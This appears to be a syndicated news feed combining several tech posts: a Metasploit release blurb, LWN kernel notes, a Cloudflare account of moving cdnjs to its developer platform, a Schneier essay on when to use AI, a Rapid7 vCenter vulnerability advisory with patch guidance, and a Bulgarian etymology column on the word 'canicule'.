Metasploit 6.5 represents an evolution in the framework, delivering a wide array of new capabilities designed to improve both usability and the realism of modern security testing. From the highly requested integration of Malleable C2 profiles and our new Metasploit MCP Server to advanced NTLM relaying, enhanced fetch payload utilities, and the introduction of MITRE ATT&CK tagging, this release is built to support increasingly complex and automated workflows. We look forward to seeing how these tools help our community continue to push the boundaries of vulnerability validation and threat emulation. Thank you to all the contributors who helped make this release possible.
[$] Reconsidering O_CREAT|O_DIRECTORY
Post Syndicated from corbet original https://lwn.net/Articles/1085617/
Linux provides a system call (mkdir())
to create a directory, and a few variants of
open() that can open a directory. There is, however, no
system call in Linux that can create and open a directory in a single,
race-free call. Jori Koolstra has been working on remedying that
situation, most recently by repurposing a set of open() flags that currently
return an error. There are, however, concerns that show just how hard it
can be to create user-space interfaces that do not present traps for
application developers.
Trump Family & Memecoins #lastweektonight
Post Syndicated from LastWeekTonight original https://www.youtube.com/shorts/mdwOm2p_sCg
I Visited China’s Hidden Tech City… To See How Lenses Are Made
Post Syndicated from Matt Granger original https://www.youtube.com/watch?v=lEdYuzLq-WA
Another batch of single-fix stable kernels
Post Syndicated from jzb original https://lwn.net/Articles/1086226/
Greg Kroah-Hartman has announced the release of the 6.18.41, 6.12.100, 6.6.147, 6.1.180, 5.15.213, and 5.10.262 stable kernels.
Each of these kernels contains a single fix for a use-after-free
vulnerability (CVE-2026-64560). Users
of these kernels are advised to upgrade.
Security updates for Thursday
Post Syndicated from jzb original https://lwn.net/Articles/1086225/
Security updates have been issued by AlmaLinux (gstreamer1-plugins-bad-free, libtiff, libXfont2, nodejs:22, nodejs:24, and rest), Debian (expat and nss), Fedora (libssh, nginx, nginx-mod-brotli, nginx-mod-fancyindex, nginx-mod-headers-more, nginx-mod-modsecurity, nginx-mod-naxsi, nginx-mod-vts, nodejs24, perl-HTTP-Date, proftpd, squid, unbound, and wordpress), Oracle (c-ares, edk2, freerdp, go-fdo-server, libreswan, mariadb-connector-c, and nginx), SUSE (alloy, apache-commons-lang3, google-guice, maven, maven-resolver, xmvn, apache-sshd, apptainer, avahi, distribution, glib2, go1.26-openssl, go1.25-openssl, go1.24-openssl, go1.23-openssl, go1.22-openssl, go1.26, go1.25, go1.24, go1.23, go1.22, go1.21, gstreamer-plugins-bad, helm, ImageMagick, java-17-openjdk, java-25-openjdk, liboqs, oqs-provider, libssh, nginx, nm-configurator, nmap, openssl-3, openvpn, PackageKit, perl, perl-DBI, perl-HTTP-Date, perl-XML-Bare, python-msgpack-python, python-sh, python-ujson, python-urllib3, runc, samba, sssd, wget, wpa_supplicant, and xen), and Ubuntu (linux-nvidia, linux-nvidia-7.0 and linux-nvidia-6.17).
Dogfooding at scale: migrating cdnjs to Cloudflare’s Developer Platform
Post Syndicated from Simona Badoiu original https://blog.cloudflare.com/cdnjs-dev-platform-migration/
As of June 23, 2026, cdnjs, one of the Internet's busiest open-source CDNs, is running exclusively on Cloudflare’s Developer Platform. Along the way, cdnjs surfaced limits in the platform, and the platform grew to meet them.
cdnjs is a free, open-source content delivery network for JavaScript and CSS libraries. Instead of using a bundler or self-hosting jQuery, Bootstrap, or Lodash, you drop a <script> tag pointing to cdnjs.cloudflare.com and the library loads from Cloudflare's edge, instantly, anywhere in the world, with no signup, no API keys, and no rate limits. It's the infrastructure behind a significant portion of “intro to JavaScript” tutorials, CodePen demos, and Stack Overflow answers.
Community-driven, cdnjs is used on roughly 12% of all websites, a 48.3% share of the JavaScript CDN market. It serves an average of 108,000 requests per second, 9 billion per day, across more than 330 Cloudflare data centers, with a 98.6% cache hit rate. Pretty cool, Internet!
In 2011, when bundlers were exotic, npm was barely a year old, and "just drop a <script> tag" was how the web shipped JavaScript, Ryan Kirkman and Thomas Davis built cdnjs as a free, community-run mirror of every popular open-source library.
Cloudflare stepped in to host it free of charge months later, and took over project maintenance in 2019. Back then, Cloudflare didn't have a mature Developer Platform that could fully sustain the entire cdnjs ecosystem. Fifteen years and a lot of building blocks later, the platform is mature enough to run cdnjs end to end, on Workers, Workflows, D1, Queues, Workers Cache, R2, KV, and Containers.
Why cdnjs has 9 billion requests a day
The web has changed beyond recognition from those days. We have ES Modules (ESM), the standardized import / export syntax browsers understand natively. We have import maps, Vite, Bun, Turbopack. We have AI assistants that scaffold entire apps in seconds. Bundlers are everywhere. So why does a CDN for <script> tags still serve 9 billion requests a day?
One reason: LLMs love cdnjs. When ChatGPT, Claude, or Cursor scaffold a quick HTML demo, they reach for cdnjs because their training data is full of it. There have been 15 years of blog posts, GitHub READMEs, tutorial sites, and Q&A threads pointing to cdnjs.cloudflare.com. The URL pattern is consistent and versions are immutable — exactly the kind of dependency a model can produce reliably without hallucinating.
Every file on cdnjs has an SRI hash (we're still working on ensuring all the existing stored hashes match reality due to bugs in the old system), mirrors are auditable, and the whole project is open source. In a world increasingly worried about supply-chain attacks, an immutable, hash-verified mirror of well-known libraries is indispensable.
And it's free, forever, for everyone. No API keys. No rate limits. No "sign up to continue." That's a rare thing on today's Internet, and it's worth protecting.
Why we migrated
We didn't migrate because cdnjs was slow. We migrated because we want to keep improving it.
The previous architecture served users well: 98% cache hit, billions of requests, no outages. But internally, shipping anything new or fixing existing issues in how packages were processed was getting harder. Making a change meant coordinating deployments across GCP Functions, a VM, and Cloudflare. Observability was painful too.
The pain points
In 2020, we migrated cdnjs to serverless, moving file serving onto Cloudflare Workers and KV, with a bare-metal origin as fallback. That change dramatically improved resilience and scalability, and let us pre-compress every asset with Brotli and gzip for smaller, faster responses, but only on the serving side.
The publishing side — the pipeline that watches npm and GitHub for new library versions, downloads them, processes them, and writes the results so cdnjs can serve them — stayed on Google Cloud Platform (GCP). At the time, Cloudflare Workers were designed for fast, short-lived HTTP requests; they didn't yet have the building blocks for a long-running, multi-step pipeline that fetches large tarballs, runs CPU-heavy compression, and orchestrates work over hours. Workflows, Queues, Durable Objects, R2, and Containers didn't exist yet.
So we built the publishing bot on what was available: a chain of GCP Functions, a VM running git-sync, and a GitHub repository as the source of truth. It worked, but six years later, that architecture was showing its age. Here's a diagram of the previous architecture:
The architecture had five pain points. The one that hurt most was observability: debugging meant stitching logs together by hand. We'll start there.
- No shared trace
A single package update could pass through Cloud Functions, Google Cloud Storage (GCS) object events, Pub/Sub topics, a git-sync VM, and Workers KV before a file reached a user. None of those systems shared a correlation ID. GCP Logging held one half of the story, Cloudflare Logpush held the other, and the two had no common key to join on.The problem wasn't outright failure, it was partial success. A version that processed cleanly, wrote to KV, and then silently failed to land in the GitHub repo would serve fine for weeks until someone noticed the two stores had diverged. There was no alert for that. There couldn't be, because nothing in the system knew the full pipeline state.
- Split-brain storage
Files lived in two places at once: Workers KV at the edge (with a bare-metal origin as fallback) and a GitHub repository as the source of truth. The ingestion pipeline wrote to both at the end of every run. Neither was authoritative, and when they drifted, there was no clean way to reconcile them. - Pipeline glued together with object events
The ingestion pipeline was a chain of small GCP Cloud Functions, each doing one step and handing off to the next through shared storage. One function fetched the package's release archive from npm and dropped it in a bucket. The bucket firing a "new file" event triggered the next function, which unpacked it and wrote the results somewhere else, triggering the next, and so on. Storage was doing double duty as a message queue, with no dead-letter queue, no backlog visibility, and no clean replay when a step failed. - 26 functions for 26 letters
Just checking npm for updates required 26 Cloud Functions, one per letter of the alphabet. Each shard had its own deployment and its own logs, and the only way to know if the fleet was healthy was to check all 26. - The GitHub repo GitHub couldn't serve
A separate VM ran git-sync, mirroring every processed file into cdnjs/cdnjs. Years of releases pushed it past 1.1TB of packed storage, large enough that GitHub's own archive service refused to generate tarballs or zip downloads for it. Forking became impractical, clones were slow, and the .gitignore had grown to 274 hand-curated entries blocking broken or weirdly-versioned releases. It was a documented graveyard of everything the pipeline couldn't reasonably reject upstream.A genuine thank you to the GitHub team for hosting this giant for over a decade. They bore with us through years of storage growth, and the project wouldn't have survived without them.
A quieter benefit that came with the migration is having fewer moving parts to secure. Cloud Functions, a git-sync VM, container images, GCS buckets, service-account keys — every one of those was a thing to secure, patch, and audit. Retiring the pipeline closed all of the recently opened cdnjs vulnerabilities.
How we re-built it
The new cdnjs architecture runs entirely on Cloudflare’s Developer Platform.
R2 is the single source of truth for file content. It has no practical size limit, so the files that couldn't fit in KV before, like source maps, big bundles, and font packs, now live alongside everything else. As a bonus, the S3 API makes the entire cdnjs catalog accessible to any S3 client. Maintain a mirror? Open an issue on the cdnjs repository and we'll set you up with read-only credentials.
KV stores only metadata now: package info, version lists, SRI hashes. KV is built for high read volume with infrequent writes, which is exactly the shape of metadata access.
In front of the Worker sits Workers Cache, a tiered cache Cloudflare launched this year. Before, we relied on a separate internal caching layer between the edge and the Worker. That layer is gone now, replaced by one owned by the Developer Platform, the same platform that runs the rest of cdnjs. One less moving part!
The new architecture also extends a long-standing partnership. DigitalOcean has hosted the cdnjs website for years as a sponsor; now it hosts the storage too. Every file published to R2 is mirrored to DigitalOcean Spaces: architecturally a disaster-recovery copy, operationally also a live fallback. The serving worker reads through to it whenever R2 can’t return a file. The chain is cache → R2 → DigitalOcean, so R2 having a bad day doesn't take cdnjs down. A Cloudflare-hosted origin still sits in the chain during the transition, but it will retire once the GitHub backfill lands in R2.
The ingestion pipeline is built on Cloudflare Workflows. Every ten minutes, a cron job triggers PackageUpdatesWorkflow, which checks npm and GitHub for new versions. For each new version found, it spawns a DownloadPackageWorkflow that fetches the tarball into R2, then a ProcessingWorkflow per file that extracts, minifies, and compresses. Finally, PublishingWorkflow writes the results to R2 and KV and updates the Algolia search index.
Because Workflows provides durable execution, the state of each step is preserved. If anything fails — a network timeout, a compression error — the workflow resumes from the last successful step.
The trickier piece is how we glue Workflows to the external compression container. We pre-compress text-based files to streamline the delivery process. But compression is too CPU-intensive for a Worker, so we hand it off to Cloudflare Containers, wait for compression to complete, and then pick up where we left off.
The pipeline has two kinds of waiting:
Per file: Each ProcessingWorkflow writes the uncompressed file to an R2 bucket, sends a job to a Queue, and hibernates. A Rust compression service running in the container picks it up, compresses it, and writes the result to another bucket. An R2 event notification wakes the workflow up so it can continue.
Per package: The parent workflow needs to wait for all its file children before moving on to publish. A package with thousands of files means thousands of children running in parallel. We use a small Durable Object as a counter: a parent increments on each child it spawns, children decrement when they finish. The parent wakes up when the counter reaches zero.
An overview of the new architecture, with R2 as the source of truth and Workflows running the pipeline:
Pushing the limits
Designing the new architecture was one challenge. Migrating the existing catalog into it, without disturbing a single file already in the wild, was another.
We'd actually tried this once before and had to roll back. The plan, back then, was to re-process old packages and write the results directly to R2, but the regenerated files didn't byte-match what KV had been serving. Minifiers and compressors aren't fully deterministic across versions, so the new outputs were correct but had different SRI hashes. For a CDN where users pin those hashes in their HTML, that's a serving break. So we rolled back, and now, we migrated the existing content from KV to R2 as-is instead of regenerating it.
That decision shifted the problem from "re-process millions of files" to "copy millions of files between accounts, without missing any." And that's where we ran into the Workers subrequest limit, capped at 1,000 per invocation on paid plans. A package with thousands of files would burn through it in one go. Parallelizing didn't help, since every Worker hits the same ceiling. So we sharded the migration by package name and fanned the work out across many invocations via Queues, whose at-least-once delivery guarantee meant no package could silently fall out of the migration.
We hit two platform limits during the migration: 1,000 subrequests per Worker invocation and 1,024 steps per Workflow. Instead of just working around them, we asked the Workers and Workflows teams to raise them — which they did. Subrequests now go up to 10 million on paid plans; Workflows now default to 10,000 steps, configurable to 25,000.
The cdnjs pipeline runs on the same building blocks anyone can use: Workers, Workflows, R2, KV, Queues, Containers, and Durable Objects. The limits we hit are limits we lifted for everyone. If the Cloudflare Developer Platform can serve 9 billion requests a day and publish packages with hundreds of thousands of compressed, minified files, it can probably run whatever you're building.
What’s next
There's an obvious next question hiding in all of this: could cdnjs also serve modern, browser-native ES modules? The same packages, transformed on publish, ready to import without a bundler. The architecture doesn't rule it out. The Workflows-plus-Containers pattern that pre-compresses files today would work just as well for transforming them. We're not committing to it, but it's the kind of thing that's now possible to consider, which wasn't true a year ago.
git commit -m "with love" --author="cdnjs team"
We follow every open issue on GitHub and we want your feedback. Don't hesitate to contribute and help make the Internet better for everyone.
Should You Use AI for a Task? Here’s a Simple Way to Decide
Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/07/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide.html
This essay originally appeared in The Guardian.
I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come as no surprise to you that my students regularly use AI to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?
The best way I’ve found to explain the dilemma comes from the AI researcher Daniel Meissler: it’s the difference between work and the gym.
At work, if your job is to move a bunch of heavy things from one side of the room to another, you should use whatever assistive tech you have on hand: a wagon, a forklift… even an AI-powered robot. But at the gym, it makes no sense for that robot to lift weights for you. The point of weightlifting isn’t to move heavy things across the room; it’s to actually lift those heavy things.
The same analysis holds for any task an AI can do for you. If it’s work—if the task has to be done and no one cares how—then it’s fine to use AI assistance. But if the task is more like the gym, and how the task is done is at least as important, then it probably doesn’t make sense to use AI.
This, of course, assumes that the AI is actually up for the task and that it’s trustworthy: that it can do the job well, that its mistakes are minimal and correctable, that it’s been secured from cyber-attacks that would influence its results. Those are all important, and shouldn’t be minimized. There’s no point giving an AI something that it can’t do reliably. But once you’re confident that the AI can perform the task, the work vs. gym distinction helps you decide if it should.
The writing assignments I give my students are gym tasks, not work tasks. I ask them to write policy memos not because the world needs more policy memos. I assign them because the very act of writing, which includes thinking and outlining and drafting and editing, making and criticizing and revising arguments, will help develop the critical thinking skills they will need in their future careers. And without this constant mental exercise, those skills will atrophy. Employers are already noticing.
Reading the assignments they turn in, I can see those skills either flourishing or atrophying in my students. At least today, I can pretty easily tell the difference between an AI-written memo and a student-written one—especially if the student just turns in what the chatbot produces. It’s a catchy, plausible, grammatically perfect essay that’s not particularly well-crafted or logically coherent—and with all the tells of mid-2026 AI-generated writing.
But it’s precisely because I have spent years developing my own writing skills that I’m able to identify prose that sounds great but doesn’t actually make sense. My students don’t have that skill; they mistakenly view a confident, well-written essay as evidence of the quality of their ideas. They see the AI as cleaning those ideas up, getting them through that uncomfortable stretch of having to turn those ideas into prose. What the students miss is that their initial discomfort is a normal and healthy stage of writing, and not something to quickly get beyond. The very act of struggling with how to express what they think is an important part of the process. It’s how they test out their ideas, examine their hypotheses, and actually figure out what they think. Homework is not work; it’s the gym.
Work vs. gym also helps us understand the problem facing creatives of all kinds.
Most of the time when someone hires a writer, they just need the words. They need an instruction manual for a piece of equipment, a detailed sales presentation, a government-mandated disclosure document, or a legal brief. They need dry, predictable, accurate writing: a piece of work, exactly what AIs are good at today and what I don’t want in my student assignments. Only sometimes is writing an art form—a book, a poem, an uplifting political speech. That kind of writing is more like the gym: process matters just as much as product.
For most of human history, the only option for all of these tasks was human writers. We hired one regardless of whether we needed work writing or gym writing. And that paid a lot of writers’ salaries. I know fiction writers who supported that poorly paying career with lucrative technical writing work. Now, for the first time in human history, we can separate out when we need writing as work and when we want writing as gym. And if AI can do most of the work-type writing, society doesn’t need as many human writers.
It’s the same for visual artists. Sometimes we need an actual artist, but most of the time we just need an image: a corporate mascot, a “beware of the dog” sign, or a packaging label. Historically we gave those jobs to artists, and sometimes beautiful art resulted. But most of the time it was just work. And, as it turns out, the world needs less pure art than simple images.
Explaining the problem isn’t the same as providing the solution. I give my students the “work versus gym” speech every class, but they still use AI. I have sympathy: assignments are hard, everyone is overworked and overstressed, and—most importantly—students feel like they’ll look bad in comparison if their peers are all using AI. Even if they don’t want to use the technology, they feel like they have no choice.
There’s also an incentive problem. No one pays us to go to the gym; maintaining healthy habits requires discipline. For me, the payoffs to exercise—fewer aches and pains, less fatigue, better mood/stress management—might make me a better writer and teacher, but they’re subtle and easy to miss. For my students, incremental improvements in their reasoning and writing are equally subtle.
We do have a choice. We can look at the tasks of our lives and separate them into work or gym. Just as we might choose to use the stairs instead of the elevator, or walk instead of calling an Uber, we can wall off our cognitive gym tasks from AI and ensure that we don’t lose our skills to this technology. And we can do the same when we assign a job to someone else. If it’s a work task, we can have AI do it. If it’s a gym task, it’s a waste of everyone’s time to give it to an AI because no one learns or gets stronger as a result.
Similarly, a future where AI generates words and images is one where society has to make choices about how it will treat its creatives. This won’t be the first time—today there is minimal demand for portrait painters, for example—but maybe this time we can make different, more deliberate, choices about the value of art in our society.
AI is going to fundamentally change the nature of work. Not nearly as fast as the AI companies want you to believe, but eventually it will. Policy analysis will definitely involve AI from now on, and my students need to reimagine what it means to learn and practice that skill. More generally, the line between work and gym will change in the future as we humans adapt ourselves to a world with these new intelligences.
But for now, the work vs. gym distinction is pretty clear. Use it on yourself.
Critical VMware vCenter Vulnerabilities Allow Authentication Bypass and Remote Code Execution (CVE-2026-59309, CVE-2026-59310)
Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-critical-vmware-vcenter-vulnerabilities-allow-authentication-bypass-and-remote-code-execution-cve-2026-59309-cve-2026-59310
Overview
On July 29, 2026, Broadcom published security advisory VMSA-2026-0006 addressing multiple vulnerabilities in several VMWare products. Included in the advisory are two critical remotely exploitable vulnerabilities affecting VMware vCenter Server: CVE-2026-59309 and CVE-2026-59310. Both vulnerabilities carry CVSSv3.1 base scores of 9.8 and can be exploited by unauthenticated attackers with network access to a vulnerable vCenter Server.
|
CVE |
CVSSv3.1 |
Description Summary |
|---|---|---|
|
CVE-2026-59309 |
An authentication bypass vulnerability in the VMware Directory Service of vCenter that could allow a remote attacker to bypass authentication and gain unauthorized access to the vCenter management plane. |
|
|
CVE-2026-59310 |
A directory traversal vulnerability in the vCenter Syslog server that could allow an attacker with network access to execute arbitrary code. |
VMware vCenter Server provides centralized management for VMware vSphere environments, allowing administrators to manage ESXi hosts, virtual machines, resource allocation, availability, and other virtualization infrastructure from a central control plane. Compromise of vCenter can therefore provide an attacker with significant control over the virtualized environment and its associated workloads.
Both vulnerabilities are particularly significant because exploitation does not require prior authentication. However, an attacker must have network access to the affected vCenter services. Management interfaces such as vCenter are commonly restricted to internal or dedicated management networks, which can reduce exposure to internet-based attacks but does not mitigate the risk from an attacker who has already established access to an organization’s network.
At the time of publication, there is no known evidence of exploitation or scanning in the wild for either CVE-2026-59309 or CVE-2026-59310. There is also currently no known public proof-of-concept exploit code. However, vCenter Server has appeared on CISA’s KEV list ten times in the past for other vulnerabilities, so it is known that attackers target critical issues in this product. Customers running affected VMWare products are urged to patch on an urgent basis before exploitation in-the-wild occurs.
Mitigation guidance
Organizations running VMware vCenter Server should prioritize applying the updates identified by Broadcom in VMSA-2026-0006 on an urgent basis. Broadcom states that there are no workarounds for CVE-2026-59309 or CVE-2026-59310, making vendor-provided updates the primary remediation.
|
VMware Product |
Component |
Version |
Running On |
Fixed Version |
|
VMware Cloud Foundation, VMware vSphere Foundation |
vCenter |
9.1.x.x |
Any |
|
|
VMware Cloud Foundation, VMware vSphere Foundation |
vCenter |
9.0.x.x |
Any |
|
|
VMware vCenter |
N/A |
8.0 |
Any |
|
|
VMware Cloud Foundation |
vCenter |
5.x |
Any |
Async patch to 8.0 U3k |
|
VMware Telco Cloud Platform |
vCenter |
3.0, 4.x, 5.0.x, 5.1.x |
Any |
Refer to KB449886 |
|
VMware Telco Cloud Infrastructure |
vCenter |
3.0 |
Any |
Refer to KB449886 |
For the latest mitigation guidance, please refer to the vendor advisory.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-59309 and CVE-2026-59310 on VMware vCenter Server, Cloud Foundation, and vSphere Foundation products with unauthenticated vulnerability checks expected to be available in the July 30 content release.
Updates
-
July 30, 2026: Initial publication.
The Town That Wants a Data Center Next Door
Post Syndicated from The Atlantic original https://www.youtube.com/watch?v=oYlFZ_7Hrq8
Някои го предпочитат горещо
Post Syndicated from original https://www.toest.bg/nyakoi-go-predpochitat-goreshto/
Посред лято е почти непосилно да се мисли и говори за друго освен за жегата – пък било то и на различни езици. Горещините, които наскоро обхванаха Европа, въпреки унищожителните си последствия, поне в това отношение се оказаха доста благодатни – предоставиха ни „гореща“ дума с древна и звездна история, която да разнищим, преди да излезем във ваканция до есента. Това, разбира се, е
la canicule – терминът, с който горещата вълна се нарича на френски, но благодарение на историческите температурни рекорди, регистрирани във Франция това лято, придоби международна известност.
Както се отбелязва в статията Scenes from La Canicule in Paris в The New Yorker от края нa месец юни, точният френски превод на „гореща вълна“ е vague de chaleur, докато la canicule е стар – и според автора „закачлив“ – термин, който просто добре описва днешната климатична криза. Като английски еквивалент на понятието, идващо от латинската canicula (тоест „женско кученце“), статията предоставя dog days – буквално „кучешки дни“.
Изкушаващо е да предположим, че „кучешките дни“ са нещо като антоним на „кучешкия студ“. Оказва се, обаче, че произходът както на canicule, така и на dog days всъщност не е свързан с четирикраките ни домашни любимци (или поне не директно), а (отново) със звездите. И по-точно със съзвездието Голямо куче, известно като Canis Major на латински. Неговата най-ярка звезда (и най-ярката на небосклона изобщо) е Сириус (от старогръцки Σείριος (Seirios), тоест „блестящ, изгарящ“), известна и като Кучешка звезда – Κῠ́ων (Kúōn) на старогръцки и Canicula на латински. Забелязвайки, че през горещите дни на юли и август тази звезда изгрява едновременно със Слънцето, древните гърци и римляни решили, че комбинираната светлина от двете небесни тела причинява екстремните летни жеги.
Ето как изразът „кучешки дни“ първо се появява на старогръцки като κυνάδες ἡμέραι (kynádes hēmérai), оттам калкиран преминава в латински като dies caniculares, а след това се разпространява и в други езици.
В повечето германски езици идиомът също навлиза като калка: освен на английски го срещаме и на немски (Hundstage), холандски (hondsdagen), датски (hundedagene), норвежки (hundedagene) и исландски (hundadagar)¹.
За разлика от тях, романските езици използват за летните жеги латинското наименование на самата звезда, с малки вариации: освен във френски то се употребява в испански и португалски (canícula), италиански (canicola) и румънски (caniculă)².
Латинската заемка съществува дори и в разговорния унгарски (kánikula), където се използва съвсем редовно. Тя също така се среща и в полския (kanikuła), чешкия и словашкия, а даже и в словенския, хърватския и сръбския (kanikula/„каникула“), но там се смята за по-рядка, книжовна и архаична дума. По-често срещаните наименования на горещите дни в тези езици – psie dni (полски и словашки), psí dny (чешки), pasji dnevi (словенски) или pasji dani/„пасји дани“ (хърватски и сръбски) – са калки на dies caniculares, само дето „кучето“ е станало „пес“.
Взетото назаем латинско наименование на Кучешката звезда навлиза също и в източнославянските езици, където обаче претърпява изключително изненадваща трансформация. Оригиналното му значение там постепенно избледнява, а през XIX век бива изцяло подменено. По тази причина в наши дни понятието – „канікули“ на украински, „канікулы“ на белоруски и „каникулы“ на руски – е изключително популярно, но не като определение за жега, а само и единствено със значението „ваканция“. Като доказателство за пълното скъсване на връзката с първоначалната дефиниция и произхода на думата, освен „летние каникулы“ в руския език съществуват и де факто оксиморонните „зимние каникулы“ и „весенние каникулы“.
В българския език Кучешката звезда и кръстените на нея дни се промъкват тук-там, но така и не се установяват като официално наименование за горещините,
които обикновено се наричат просто така – „горещини“. Освен това прозаично наименование, във фолклорната традиция съществува и по-поетичното Горещници, чието значение се припокрива с dies caniculares, но само донякъде. Докато за „кучешките дни“ се смята, че продължават между 30 и 60 дни, обикновено от началото на юли до средата на август (а както видяхме тази година, може да започнат още през юни), датите и времетраенето на Горещниците са строго определени – трите дни между 15 и 17 юли (или между 29 и 31 юли по стар стил), независимо какви са температурите точно тогава. Освен от етнографска гледна точка (заради ритуалите за предпазване от огън и мълнии, които се извършват в тези дни) Горещниците са интересни и от езикова: с алтернативните си имена Блъсъци и Германовци, породени от вярването, че огънят слиза от небето под формата на светкавица, и от почитането на свети Герман като повелител на гръмотевиците.
Като говорим за горещини и кучета, няма как да не споменем друго вносно понятие, което, за разлика от canicule и dog days, се е установило в българския език доста успешно. Това, разбира се, е иконичният хотдог, понякога шеговито превеждан буквално като „горещо куче“³. При него кучешката връзка си е съвсем директна. Смята се, че наименованието hot dog идва от формата на кренвиршите, сходна с външния вид на кучетата от порода „Дакел“ – немските имигранти ги внесли в Америка по същото време като вурстовете, които слагали в сандвичите. Според друга теория сандвичите получили името си поради съмнения, че въпросните вурстове съдържали кучешко месо.
Но в българския език все пак съществува животно, чието наименование споделя латински корен с кучето (canis), макар и да няма нищо общо с него. За моя – а предполагам и ваша – голяма изненада, това е канарчето. Птичката, оказва се, е кръстена на Канарските острови, откъдето произхожда – а не обратното, както аз наивно (като едно същинско канарче) предполагах.
Името на самия архипелаг – Islas Canarias на испански, от Canariae Insulae на латински – в превод наистина означава „Острови на кучетата“. Но докато този факт е неоспорим, то теориите относно това какво точно представляват въпросните кучета, са доста противоречиви. Една от тях цитира римския историк Плиний Стари, който в своята „Естествена история“ от около 77 г. описва експедиция до остров Canaria, кръстен така „заради множеството кучета с огромни размери“, на които се натъкват изследователите. Според други теории древните римляни слагали всякакви страшни морски твари под общия знаменател canes marini („морски кучета“) и всъщност е по-вероятно животните на острова да не са били кучета, а тюлени. В трета версия пък се твърди, че името е заето от берберското племе Canarii, което обитавало острова, впоследствие наречен Gran Canaria и дал името на целия архипелаг⁴. Но все пак, ако съдим по двете кучета, изобразени на герба на Канарските острови, изглежда, че най-надеждна или поне предпочитана версия е тази с реалните кучета⁵.
Размишлявайки върху други думи в българския, които евентуално споделят латинският корен canis, се запитвам дали би могло такова да е прилагателното „кански“. Все пак го използваме подобно на „кучешки“ – с подсилващ ефект и като цветист синоним на „голям“ или „як“. Неговият произход обаче – този път настина – се оказва птичи. Според Българския етимологичен речник, наречието „кански“ произлиза „от каня ‘вид граблива нощна птица‘, поради пронизителния ѝ крясък“ и следва да се използва „само в изразите пищя кански, плача кански“. В по-нова публикация на Института за български език обаче, освен че грабливата птица правилно е идентифицирана като „дневна“, се потвърждава моето предположение, като се отбелязва: „Постепенно употребата на кански в преносното му значение се разширява и то получава значение ‘извънредно голям’“. Като илюстрация в публикацията са предложени следните примери: „кански усилия“, „кански мъки“, „кански труд“, „кански студ“ и др.
По тази логика словосъчетанието „канска жега“ става съвсем приемливо. И дори да не споделя обща етимология със съзвездието Canis Major, двете поне имат сходно звучене.
1 Любопитно изключение прави шведският, в който вместо калка на dies caniculares, изразът за най-горещия период от годината е Rötmånaden, тоест „Месец на гниенето“ – заради склонността на храната да се разваля в жегата. (Такава е идеята и зад думата във фински – mätäkuu, която означава същото.) В шведски съществува и изразът hundår, буквално „кучешка година“ или „кучешки години“, който обаче означава съвсем друго: труден период, в който човек трябва да работи здраво и да търпи лишения, за да постигне определена цел.
2 На италиански, освен като canicola, големите летни горещини са известни и като solleone: от Sole + Leone, или периодът, в който Слънцето е в съзвездието на зодия Лъв. Като виден представител на зодията това ми е особено симпатично – най-малкото защото ми предоставя алтернативно и доста по-ведро астрологическо наименование за Сатурновата дупка и ретроградния Меркурий, който тази година започна на 29 юни и продължи до 23 юли.
3 В английския срещаме и доста забавен „синонимен“ термин на понятието hot dog, а именно: dog in heat (буквално „куче в горещина“), което обаче означава „разгонена кучка“.
4 Самият Плиний Стари в своята „Естествена история“ също споменава берберското племе Canarii, твърдейки, че то е наречено така заради сходната му хранителна диета с „кучешката раса“. Пак там той използва производни на думата canis („куче“) за акули – за по-едрите употребява определението canis marinus („морско куче“), а по-дребните, които днес наричаме „морски котки“, „бодлоперки“ или „дънни акули“, той нарича canicula. Енциклопедията, бидейки енциклопедия, разбира се, описва и как изгряването на звездата Canicula в разгара на лятото носи непоносими горещини, кара кучетата да побесняват и влияе на реколтата.
5 Оказва се, че на Канарските острови е кръстен и лондонският финансов квартал Canary Wharf (буквално „Канарски пристан“), който се намира на Isle of Dogs („Остров на кучетата“). Името му се дължи на това, че в миналото там са акостирали корабите, превозващи плодове от Канарските острови.
В рубриката „От дума на дума“ Екатерина Петрова търси актуални, интересни или новопоявили се думи от нашето ежедневие и проследява често изненадващия им произход, развитието на значенията им във времето и взаимовръзките им с близки и далечни езици.
[$] LWN.net Weekly Edition for July 30, 2026
Post Syndicated from jzb original https://lwn.net/Articles/1084315/
Inside this week’s LWN.net Weekly Edition:
- Front: Hazard pointers; DFSG team; Swap devices; Netkit and BPF; BPF inlined functions; Fedora GRUB; gccrs.
- Briefs: RIP Dan Williams; Debian LLM resolution; Fedora 45 process; Codeberg LLM policy; GCC LLM policy; GNU Binutils 2.47; GNU C Library 2.44; Wayfire 0.11; Quotes; …
- Announcements: Newsletters, conferences, security updates, patches, and more.
Crowdsourced taxonomy verification: A feedback-driven framework for refining knowledge graph relationships via online search interactions
Post Syndicated from Grab Tech original https://engineering.grab.com/crowdsourced-taxonomy-verification
Introduction
The efficacy of semantic search relies on the accuracy of the underlying Knowledge Graph (KG). In high-velocity domains like on-demand food delivery or e-commerce, the catalog of entities like dishes, products, and merchants changes rapidly.
Current methods for KG construction and maintenance face three critical challenges:
-
Inaccuracy and hallucination from Large Language Models (LLMs): Automated models often infer relationships based on statistical text co-occurrence rather than semantic reality. For instance, an LLM might incorrectly classify “Pho” as a child of “Italian Noodle Soup” due to linguistic similarity, leading to irrelevant search results.
- Scalability limits of manual verification: Traditional verification relies on human annotators or domain experts. This approach is slow, expensive, and unable to keep pace with dynamic catalogs containing millions of entities. For example, daily changes in restaurant menus or grocery stock keeping units (SKUs).
- Error propagation in ranking: Inaccurate graph edges propagate errors downstream. If a parent-child relationship is wrong, query expansion algorithms will retrieve irrelevant items, directly degrading Click-Through Rate (CTR) and user trust.
We introduce a feedback-driven verification engine that operationalizes the search interface as a validation environment. Key contributions include:
-
User feedback-driven verification: The system treats unverified graph edges as hypotheses. Instead of accepting them as truth, it tests them against live traffic by injecting them into search suggestions and measuring user engagement.
-
Hierarchical relationship refinement: Unlike systems that only validate entities (nodes), this framework validates structural links (edges). It confirms whether entity A is truly a parent, child, or sibling of entity B, ensuring structural integrity.
-
Adaptive exploration: The system employs a greedy exploration policy. It intelligently balances exploitation by showing known good results with exploration through injecting unverified candidates to gather data without degrading the user experience.
Background
